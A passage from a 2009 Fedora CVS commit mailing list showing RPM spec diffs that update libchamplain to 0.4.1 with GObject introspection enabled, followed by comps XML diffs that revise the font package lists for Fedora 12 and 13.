+%configure --disable-debug --disable-static --enable-gtk --enable-gtk-doc \
+  --enable-introspection=yes --enable-silent-rules
 
 # Omit unused direct shared library dependencies.
 sed --in-place --expression 's! -shared ! -Wl,--as-needed\0!g' libtool
@@ -79,7 +86,7 @@ make install INSTALL="%{__install} -p" D
 find $RPM_BUILD_ROOT -type f -name "*.la" -delete
 
 # Remove rpaths.
-chrpath --delete $RPM_BUILD_ROOT%{_libdir}/libchamplain-gtk-0.4.so.0.0.0
+#chrpath --delete $RPM_BUILD_ROOT%{_libdir}/libchamplain-gtk-0.4.so.0.0.0
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -98,6 +105,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc ChangeLog
 %doc COPYING
 %doc NEWS
+%{_libdir}/girepository-1.0/Champlain-0.4.typelib
 %{_libdir}/%{name}-0.4.so.*
 
 %files devel
@@ -108,6 +116,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc demos/markers.h
 %doc demos/polygons.c
 %doc demos/url-marker.c
+%{_datadir}/gir-1.0/Champlain-0.4.gir
 %{_libdir}/%{name}-0.4.so
 %{_libdir}/pkgconfig/champlain-0.4.pc
 
@@ -119,12 +128,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files gtk
 %defattr(-,root,root,-)
+%{_libdir}/girepository-1.0/GtkChamplain-0.4.typelib
 %{_libdir}/%{name}-gtk-0.4.so.*
 
 %files gtk-devel
 %defattr(-,root,root,-)
 %doc demos/launcher-gtk.c
 %doc demos/markers.c
+%{_datadir}/gir-1.0/GtkChamplain-0.4.gir
 %{_libdir}/%{name}-gtk-0.4.so
 %{_libdir}/pkgconfig/champlain-gtk-0.4.pc
 
@@ -135,6 +146,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/%{name}-gtk-0.4/champlain-gtk
 
 %changelog
+* Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
+- Version bump to 0.4.1.
+  * Added champlain_view_remove_layer.
+  * ChamplainSelectionLayer now has a "changed" signal.
+  * Added champlain_marker_get_highlighted_text_color,
+    champlain_marker_set_highlighted_text_color and
+    Added champlain_marker_get_highlighted_color.
+  * Fixed slowdowns with big caches.
+  * Don't emit invalid latitude and longitude notifications.
+  * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
+    Bugzilla #598106)
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
+- Enabled GObject Introspection, and added 'Requires: gobject-introspection'
+  and 'BuildRequires: gir-repository-devel'.
+- Explicitly disabled debug code.
+- RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.
+
 * Mon Sep 21 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.0-1
 - Version bump to 0.4.0.
   * ChamplainView now has keyboard shortcuts (but not when used with
@@ -145,32 +173,32 @@ rm -rf $RPM_BUILD_ROOT
   * Fixed memory leak in ChamplainLayer. (GNOME Bugzilla #593505)
   * Initial center_on should not result on the map being in Antarctica.
     (GNOME Bugzilla #594963)
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.92.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.92.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.92.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.92.changes
 
 * Mon Aug 24 2009 Matthias Clasen <mclasen at redhat.com> - 0.3.91-1
 - Version bump to 0.3.91.
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.91.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.91.news
 
 * Tue Aug 11 2009 Matthias Clasen <mclasen at redhat.com> - 0.3.90-1
 - Version bump to 0.3.90.
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.90.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.90.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.90.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.90.changes
 
 * Mon Aug  3 2009 Matthias Clasen <mclasen at redhat.com> - 0.3.6-1
 - Version bump to 0.3.6.
   * New marker animation API.
   * Ported to Clutter 1.0. (GNOME Bugzilla #576391)
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.6.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.6.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.6.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.6.changes
 
 * Sat Aug 02 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.3.5-1
 - Version bump to 0.3.5.
   * Marker selection API. (GNOME Bugzilla #577909)
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.5.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.4.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.5.changes
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.4.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.5.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.4.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.5.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.4.changes
 
 * Fri Jul 24 2009 Release Engineering <rel-eng at fedoraproject.org> - 0.3.3-2
 - Autorebuild for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	21 Sep 2009 22:41:31 -0000	1.9
+++ sources	19 Oct 2009 20:30:21 -0000	1.10
@@ -1 +1 @@
-159f8befb4b7ef616227977cda61e08d  libchamplain-0.4.0.tar.bz2
+cd41e989c4c609e37fac2ad331919bcf  libchamplain-0.4.1.tar.bz2



From rishi at fedoraproject.org  Mon Oct 19 20:33:56 2009
From: rishi at fedoraproject.org (Debarshi Ray)
Date: Mon, 19 Oct 2009 20:33:56 +0000 (UTC)
Subject: rpms/libchamplain/devel .cvsignore, 1.9, 1.10 libchamplain.spec,
	1.12, 1.13 sources, 1.9, 1.10
Message-ID: <20091019203356.352FE11C00DC@cvs1.fedora.phx.redhat.com>

Author: rishi

Update of /cvs/pkgs/rpms/libchamplain/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7578

Modified Files:
	.cvsignore libchamplain.spec sources 
Log Message:
* Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
- Version bump to 0.4.1.
  * Added champlain_view_remove_layer.
  * ChamplainSelectionLayer now has a "changed" signal.
  * Added champlain_marker_get_highlighted_text_color,
    champlain_marker_set_highlighted_text_color and
    Added champlain_marker_get_highlighted_color.
  * Fixed slowdowns with big caches.
  * Don't emit invalid latitude and longitude notifications.
  * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
    Bugzilla #598106)
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
- Enabled GObject Introspection, and added 'Requires: gobject-introspection'
  and 'BuildRequires: gir-repository-devel'.
- Explicitly disabled debug code.
- RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	21 Sep 2009 22:41:31 -0000	1.9
+++ .cvsignore	19 Oct 2009 20:33:55 -0000	1.10
@@ -1 +1 @@
-libchamplain-0.4.0.tar.bz2
+libchamplain-0.4.1.tar.bz2


Index: libchamplain.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/devel/libchamplain.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- libchamplain.spec	21 Sep 2009 22:41:31 -0000	1.12
+++ libchamplain.spec	19 Oct 2009 20:33:56 -0000	1.13
@@ -1,17 +1,22 @@
 Summary:	Map view for Clutter
 Name:		libchamplain
-Version:	0.4.0
+Version:	0.4.1
 Release:	1%{?dist}
 License:	LGPLv2+
 Group:		System Environment/Libraries
 URL:		http://projects.gnome.org/libchamplain/
-Source0:	http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.4/%{name}-%{version}.tar.bz2
+Source0:	http://download.gnome.org/sources/libchamplain/0.4/%{name}-%{version}.tar.bz2
+
+# http://bugzilla.gnome.org/598942
+Patch0:		%{name}-%{version}-gir.patch
 
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
-BuildRequires:	chrpath
+Requires:	gobject-introspection
+
 BuildRequires:	clutter-devel
 BuildRequires:	clutter-gtk-devel
+BuildRequires:	gir-repository-devel
 BuildRequires:	libsoup-devel
 BuildRequires:	sqlite-devel
 
@@ -28,6 +33,7 @@ Requires:	clutter-devel
 Requires:	pkgconfig
 %endif
 
+Requires:	gobject-introspection-devel
 Requires:	gtk-doc
 Requires:	%{name} = %{version}-%{release}
 
@@ -62,10 +68,11 @@ This package contains development files 
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
-%configure --disable-static --enable-gtk --enable-gtk-doc \
-  --enable-introspection=no --enable-silent-rules
+%configure --disable-debug --disable-static --enable-gtk --enable-gtk-doc \
+  --enable-introspection=yes --enable-silent-rules
 
 # Omit unused direct shared library dependencies.
 sed --in-place --expression 's! -shared ! -Wl,--as-needed\0!g' libtool
@@ -79,7 +86,7 @@ make install INSTALL="%{__install} -p" D
 find $RPM_BUILD_ROOT -type f -name "*.la" -delete
 
 # Remove rpaths.
-chrpath --delete $RPM_BUILD_ROOT%{_libdir}/libchamplain-gtk-0.4.so.0.0.0
+#chrpath --delete $RPM_BUILD_ROOT%{_libdir}/libchamplain-gtk-0.4.so.0.0.0
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -98,6 +105,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc ChangeLog
 %doc COPYING
 %doc NEWS
+%{_libdir}/girepository-1.0/Champlain-0.4.typelib
 %{_libdir}/%{name}-0.4.so.*
 
 %files devel
@@ -108,6 +116,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc demos/markers.h
 %doc demos/polygons.c
 %doc demos/url-marker.c
+%{_datadir}/gir-1.0/Champlain-0.4.gir
 %{_libdir}/%{name}-0.4.so
 %{_libdir}/pkgconfig/champlain-0.4.pc
 
@@ -119,12 +128,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files gtk
 %defattr(-,root,root,-)
+%{_libdir}/girepository-1.0/GtkChamplain-0.4.typelib
 %{_libdir}/%{name}-gtk-0.4.so.*
 
 %files gtk-devel
 %defattr(-,root,root,-)
 %doc demos/launcher-gtk.c
 %doc demos/markers.c
+%{_datadir}/gir-1.0/GtkChamplain-0.4.gir
 %{_libdir}/%{name}-gtk-0.4.so
 %{_libdir}/pkgconfig/champlain-gtk-0.4.pc
 
@@ -135,6 +146,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/%{name}-gtk-0.4/champlain-gtk
 
 %changelog
+* Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
+- Version bump to 0.4.1.
+  * Added champlain_view_remove_layer.
+  * ChamplainSelectionLayer now has a "changed" signal.
+  * Added champlain_marker_get_highlighted_text_color,
+    champlain_marker_set_highlighted_text_color and
+    Added champlain_marker_get_highlighted_color.
+  * Fixed slowdowns with big caches.
+  * Don't emit invalid latitude and longitude notifications.
+  * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
+    Bugzilla #598106)
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
+- Enabled GObject Introspection, and added 'Requires: gobject-introspection'
+  and 'BuildRequires: gir-repository-devel'.
+- Explicitly disabled debug code.
+- RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.
+
 * Mon Sep 21 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.0-1
 - Version bump to 0.4.0.
   * ChamplainView now has keyboard shortcuts (but not when used with
@@ -145,32 +173,32 @@ rm -rf $RPM_BUILD_ROOT
   * Fixed memory leak in ChamplainLayer. (GNOME Bugzilla #593505)
   * Initial center_on should not result on the map being in Antarctica.
     (GNOME Bugzilla #594963)
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.92.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.92.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.92.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.92.changes
 
 * Mon Aug 24 2009 Matthias Clasen <mclasen at redhat.com> - 0.3.91-1
 - Version bump to 0.3.91.
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.91.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.91.news
 
 * Tue Aug 11 2009 Matthias Clasen <mclasen at redhat.com> - 0.3.90-1
 - Version bump to 0.3.90.
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.90.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.90.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.90.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.90.changes
 
 * Mon Aug  3 2009 Matthias Clasen <mclasen at redhat.com> - 0.3.6-1
 - Version bump to 0.3.6.
   * New marker animation API.
   * Ported to Clutter 1.0. (GNOME Bugzilla #576391)
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.6.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.6.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.6.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.6.changes
 
 * Sat Aug 02 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.3.5-1
 - Version bump to 0.3.5.
   * Marker selection API. (GNOME Bugzilla #577909)
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.5.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.4.news
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.5.changes
-  * http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.3/libchamplain-0.3.4.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.5.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.4.news
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.5.changes
+  * http://download.gnome.org/sources/libchamplain/0.3/libchamplain-0.3.4.changes
 
 * Fri Jul 24 2009 Release Engineering <rel-eng at fedoraproject.org> - 0.3.3-2
 - Autorebuild for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	21 Sep 2009 22:41:31 -0000	1.9
+++ sources	19 Oct 2009 20:33:56 -0000	1.10
@@ -1 +1 @@
-159f8befb4b7ef616227977cda61e08d  libchamplain-0.4.0.tar.bz2
+cd41e989c4c609e37fac2ad331919bcf  libchamplain-0.4.1.tar.bz2



From nim at fedoraproject.org  Mon Oct 19 20:38:14 2009
From: nim at fedoraproject.org (nim)
Date: Mon, 19 Oct 2009 20:38:14 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.161,1.162 comps-f13.xml.in,1.48,1.49
Message-ID: <20091019203814.4D08511C00DC@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8369

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
update font package lists


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.161
retrieving revision 1.162
diff -u -p -r1.161 -r1.162
--- comps-f12.xml.in	19 Oct 2009 19:57:40 -0000	1.161
+++ comps-f12.xml.in	19 Oct 2009 20:38:13 -0000	1.162
@@ -1551,7 +1551,6 @@
       <packagereq type="optional">libtcd</packagereq>
       <packagereq type="optional">Macaulay2</packagereq>
       <packagereq type="optional">malaga</packagereq>
-      <packagereq type="optional">mathml-fonts</packagereq>
       <packagereq type="optional">maxima</packagereq>
       <packagereq type="optional">maxima-gui</packagereq>
       <packagereq type="optional">mona</packagereq>
@@ -1845,6 +1844,8 @@
       <packagereq type="default">thai-scalable-waree-fonts</packagereq>
       <packagereq type="default">un-core-dotum-fonts</packagereq>
       <packagereq type="default">vlgothic-fonts</packagereq>
+      <packagereq type="optional">adf-accanthis-2-fonts</packagereq>
+      <packagereq type="optional">adf-accanthis-3-fonts</packagereq>
       <packagereq type="optional">adf-accanthis-fonts</packagereq>
       <packagereq type="optional">adf-tribun-fonts</packagereq>
       <packagereq type="optional">allgeyer-musiqwik-fonts</packagereq>
@@ -1864,7 +1865,24 @@
       <packagereq type="optional">bitstream-vera-sans-fonts</packagereq>
       <packagereq type="optional">bitstream-vera-sans-mono-fonts</packagereq>
       <packagereq type="optional">bitstream-vera-serif-fonts</packagereq>
+      <packagereq type="optional">bpg-algeti-fonts</packagereq>
+      <packagereq type="optional">bpg-chveulebrivi-fonts</packagereq>
+      <packagereq type="optional">bpg-courier-fonts</packagereq>
+      <packagereq type="optional">bpg-courier-s-fonts</packagereq>
+      <packagereq type="optional">bpg-elite-fonts</packagereq>
+      <packagereq type="optional">bpg-excelsior-fonts</packagereq>
+      <packagereq type="optional">bpg-glaho-fonts</packagereq>
+      <packagereq type="optional">bpg-ingiri-fonts</packagereq>
+      <packagereq type="optional">bpg-nino-medium-cond-fonts</packagereq>
+      <packagereq type="optional">bpg-nino-medium-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-medium-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-modern-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-regular-fonts</packagereq>
+      <packagereq type="optional">bpg-serif-fonts</packagereq>
+      <packagereq type="optional">bpg-serif-modern-fonts</packagereq>
       <packagereq type="optional">brettfont-fonts</packagereq>
+      <packagereq type="optional">cave9-mutante-fonts</packagereq>
       <packagereq type="optional">cf-bonveno-fonts</packagereq>
       <packagereq type="optional">chisholm-letterslaughing-fonts</packagereq>
       <packagereq type="optional">chisholm-to-be-continued-fonts</packagereq>
@@ -1958,13 +1976,14 @@
       <packagereq type="optional">mgopen-cosmetica-fonts</packagereq>
       <packagereq type="optional">mgopen-modata-fonts</packagereq>
       <packagereq type="optional">mgopen-moderna-fonts</packagereq>
-      <packagereq type="optional">mscore-mscore-fonts</packagereq>
+      <packagereq type="optional">mscore-fonts</packagereq>
       <packagereq type="optional">myanmar3-unicode-fonts</packagereq>
       <packagereq type="optional">nafees-web-naskh-fonts</packagereq>
       <packagereq type="optional">oflb-goudy-bookletter-1911-fonts</packagereq>
       <packagereq type="optional">oflb-notcouriersans-fonts</packagereq>
       <packagereq type="optional">oflb-prociono-fonts</packagereq>
       <packagereq type="optional">oflb-riordonfancy-fonts</packagereq>
+      <packagereq type="optional">oflb-smonohand-fonts</packagereq>
       <packagereq type="optional">oldstandard-sfd-fonts</packagereq>
       <packagereq type="optional">openoffice.org-opensymbol-fonts</packagereq>
       <packagereq type="optional">roadstencil-fonts</packagereq>
@@ -2024,11 +2043,12 @@
       <packagereq type="optional">tiresias-pc-z-fonts</packagereq>
       <packagereq type="optional">tiresias-sign-fonts</packagereq>
       <packagereq type="optional">tiresias-sign-z-fonts</packagereq>
-      <packagereq type="optional">un-core-fonts-batang</packagereq>
-      <packagereq type="optional">un-core-fonts-dinaru</packagereq>
-      <packagereq type="optional">un-core-fonts-graphic</packagereq>
-      <packagereq type="optional">un-core-fonts-gungseo</packagereq>
-      <packagereq type="optional">un-core-fonts-pilgi</packagereq>
+      <packagereq type="optional">tulrich-tuffy-fonts</packagereq>
+      <packagereq type="optional">un-core-batang-fonts</packagereq>
+      <packagereq type="optional">un-core-dinaru-fonts</packagereq>
+      <packagereq type="optional">un-core-graphic-fonts</packagereq>
+      <packagereq type="optional">un-core-gungseo-fonts</packagereq>
+      <packagereq type="optional">un-core-pilgi-fonts</packagereq>
       <packagereq type="optional">un-extra-fonts-bom</packagereq>
       <packagereq type="optional">un-extra-fonts-jamobatang</packagereq>
       <packagereq type="optional">un-extra-fonts-jamodotum</packagereq>
@@ -2436,6 +2456,7 @@
       <packagereq type="optional">bpg-algeti-fonts</packagereq>
       <packagereq type="optional">bpg-courier-s-fonts</packagereq>
       <packagereq type="optional">bpg-elite-fonts</packagereq>
+      <packagereq type="optional">bpg-excelsior-fonts</packagereq>
       <packagereq type="optional">bpg-ingiri-fonts</packagereq>
       <packagereq type="optional">bpg-nino-medium-cond-fonts</packagereq>
       <packagereq type="optional">bpg-nino-medium-fonts</packagereq>
@@ -3922,7 +3943,7 @@
       <packagereq type="default">xorg-x11-fonts-Type1</packagereq>
       <packagereq type="optional">artwiz-aleczapka-fonts</packagereq>
       <packagereq type="optional">baekmuk-bdf-fonts</packagereq>
-      <packagereq type="optional">bitmap-fonts-cjk</packagereq>
+      <packagereq type="optional">bitmap-cjk-fonts</packagereq>
       <packagereq type="optional">ctan-musixtex-fonts</packagereq>
       <packagereq type="optional">culmus-aharoni-clm-fonts</packagereq>
       <packagereq type="optional">culmus-caladings-clm-fonts</packagereq>
@@ -3947,8 +3968,20 @@
       <packagereq type="optional">jisksp16-1990-fonts</packagereq>
       <packagereq type="optional">knm_new-fonts</packagereq>
       <packagereq type="optional">libdockapp-fonts</packagereq>
+      <packagereq type="optional">lyx-cmex10-fonts</packagereq>
+      <packagereq type="optional">lyx-cmmi10-fonts</packagereq>
+      <packagereq type="optional">lyx-cmr10-fonts</packagereq>
+      <packagereq type="optional">lyx-cmsy10-fonts</packagereq>
+      <packagereq type="optional">lyx-esint10-fonts</packagereq>
+      <packagereq type="optional">lyx-eufm10-fonts</packagereq>
+      <packagereq type="optional">lyx-msam10-fonts</packagereq>
+      <packagereq type="optional">lyx-msbm10-fonts</packagereq>
+      <packagereq type="optional">lyx-wasy10-fonts</packagereq>
       <packagereq type="optional">mona-bitmap-fonts</packagereq>
+      <packagereq type="optional">nethack-bitmap-fonts</packagereq>
       <packagereq type="optional">nted-ntedfont-fonts</packagereq>
+      <packagereq type="optional">rosegarden4-feta-fonts</packagereq>
+      <packagereq type="optional">rosegarden4-parmesan-fonts</packagereq>
       <packagereq type="optional">taipeifonts</packagereq>
       <packagereq type="optional">terminus-fonts</packagereq>
       <packagereq type="optional">terminus-fonts-console</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- comps-f13.xml.in	19 Oct 2009 19:57:40 -0000	1.48
+++ comps-f13.xml.in	19 Oct 2009 20:38:14 -0000	1.49
@@ -138,7 +138,7 @@
     <uservisible>true</uservisible>
     <langonly>as</langonly>
     <packagelist>
-      <packagereq type="mandatory">lohit-bengali-fonts</packagereq>
+      <packagereq type="mandatory">lohit-assamese-fonts</packagereq>
       <packagereq type="mandatory">m17n-contrib-assamese</packagereq>
       <packagereq type="mandatory">m17n-db-assamese</packagereq>
       <packagereq type="conditional" requires="hunspell">hunspell-as</packagereq>
@@ -1544,7 +1544,6 @@
       <packagereq type="optional">libtcd</packagereq>
       <packagereq type="optional">Macaulay2</packagereq>
       <packagereq type="optional">malaga</packagereq>
-      <packagereq type="optional">mathml-fonts</packagereq>
       <packagereq type="optional">maxima</packagereq>
       <packagereq type="optional">maxima-gui</packagereq>
       <packagereq type="optional">mona</packagereq>
@@ -1836,6 +1835,8 @@
       <packagereq type="default">stix-fonts</packagereq>
       <packagereq type="default">thai-scalable-waree-fonts</packagereq>
       <packagereq type="default">un-core-dotum-fonts</packagereq>
+      <packagereq type="optional">adf-accanthis-2-fonts</packagereq>
+      <packagereq type="optional">adf-accanthis-3-fonts</packagereq>
       <packagereq type="optional">adf-accanthis-fonts</packagereq>
       <packagereq type="optional">adf-tribun-fonts</packagereq>
       <packagereq type="optional">allgeyer-musiqwik-fonts</packagereq>
@@ -1855,7 +1856,24 @@
       <packagereq type="optional">bitstream-vera-sans-fonts</packagereq>
       <packagereq type="optional">bitstream-vera-sans-mono-fonts</packagereq>
       <packagereq type="optional">bitstream-vera-serif-fonts</packagereq>
+      <packagereq type="optional">bpg-algeti-fonts</packagereq>
+      <packagereq type="optional">bpg-chveulebrivi-fonts</packagereq>
+      <packagereq type="optional">bpg-courier-fonts</packagereq>
+      <packagereq type="optional">bpg-courier-s-fonts</packagereq>
+      <packagereq type="optional">bpg-elite-fonts</packagereq>
+      <packagereq type="optional">bpg-excelsior-fonts</packagereq>
+      <packagereq type="optional">bpg-glaho-fonts</packagereq>
+      <packagereq type="optional">bpg-ingiri-fonts</packagereq>
+      <packagereq type="optional">bpg-nino-medium-cond-fonts</packagereq>
+      <packagereq type="optional">bpg-nino-medium-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-medium-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-modern-fonts</packagereq>
+      <packagereq type="optional">bpg-sans-regular-fonts</packagereq>
+      <packagereq type="optional">bpg-serif-fonts</packagereq>
+      <packagereq type="optional">bpg-serif-modern-fonts</packagereq>
       <packagereq type="optional">brettfont-fonts</packagereq>
+      <packagereq type="optional">cave9-mutante-fonts</packagereq>
       <packagereq type="optional">cf-bonveno-fonts</packagereq>
       <packagereq type="optional">chisholm-letterslaughing-fonts</packagereq>
       <packagereq type="optional">chisholm-to-be-continued-fonts</packagereq>
@@ -1902,6 +1920,7 @@
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>
       <packagereq type="optional">gfs-olga-fonts</packagereq>
+      <packagereq type="optional">gfs-philostratos-fonts</packagereq>
       <packagereq type="optional">gfs-porson-fonts</packagereq>
       <packagereq type="optional">gfs-pyrsos-fonts</packagereq>
       <packagereq type="optional">gfs-solomos-fonts</packagereq>
@@ -1949,15 +1968,18 @@
       <packagereq type="optional">mgopen-cosmetica-fonts</packagereq>
       <packagereq type="optional">mgopen-modata-fonts</packagereq>
       <packagereq type="optional">mgopen-moderna-fonts</packagereq>
-      <packagereq type="optional">mscore-mscore-fonts</packagereq>
+      <packagereq type="optional">mscore-fonts</packagereq>
       <packagereq type="optional">myanmar3-unicode-fonts</packagereq>
       <packagereq type="optional">nafees-web-naskh-fonts</packagereq>
       <packagereq type="optional">oflb-goudy-bookletter-1911-fonts</packagereq>
       <packagereq type="optional">oflb-notcouriersans-fonts</packagereq>
+      <packagereq type="optional">oflb-prociono-fonts</packagereq>
       <packagereq type="optional">oflb-riordonfancy-fonts</packagereq>
+      <packagereq type="optional">oflb-smonohand-fonts</packagereq>
       <packagereq type="optional">oldstandard-sfd-fonts</packagereq>
       <packagereq type="optional">openoffice.org-opensymbol-fonts</packagereq>
       <packagereq type="optional">roadstencil-fonts</packagereq>
+      <packagereq type="optional">saab-fonts</packagereq>
       <packagereq type="optional">samyak-devanagari-fonts</packagereq>
       <packagereq type="optional">samyak-gujarati-fonts</packagereq>
       <packagereq type="optional">samyak-malayalam-fonts</packagereq>
@@ -1985,6 +2007,8 @@
       <packagereq type="optional">sil-gentium-basic-book-fonts</packagereq>
       <packagereq type="optional">sil-gentium-basic-fonts</packagereq>
       <packagereq type="optional">sil-gentium-fonts</packagereq>
+      <packagereq type="optional">sil-lateef-fonts</packagereq>
+      <packagereq type="optional">sil-padauk-fonts</packagereq>
       <packagereq type="optional">sil-scheherazade-fonts</packagereq>
       <packagereq type="optional">silkscreen-expanded-fonts</packagereq>
       <packagereq type="optional">silkscreen-fonts</packagereq>
@@ -2014,11 +2038,12 @@
       <packagereq type="optional">tiresias-pc-z-fonts</packagereq>
       <packagereq type="optional">tiresias-sign-fonts</packagereq>
       <packagereq type="optional">tiresias-sign-z-fonts</packagereq>
-      <packagereq type="optional">un-core-fonts-batang</packagereq>
-      <packagereq type="optional">un-core-fonts-dinaru</packagereq>
-      <packagereq type="optional">un-core-fonts-graphic</packagereq>
-      <packagereq type="optional">un-core-fonts-gungseo</packagereq>
-      <packagereq type="optional">un-core-fonts-pilgi</packagereq>
+      <packagereq type="optional">tulrich-tuffy-fonts</packagereq>
+      <packagereq type="optional">un-core-batang-fonts</packagereq>
+      <packagereq type="optional">un-core-dinaru-fonts</packagereq>
+      <packagereq type="optional">un-core-graphic-fonts</packagereq>
+      <packagereq type="optional">un-core-gungseo-fonts</packagereq>
+      <packagereq type="optional">un-core-pilgi-fonts</packagereq>
       <packagereq type="optional">un-extra-fonts-bom</packagereq>
       <packagereq type="optional">un-extra-fonts-jamobatang</packagereq>
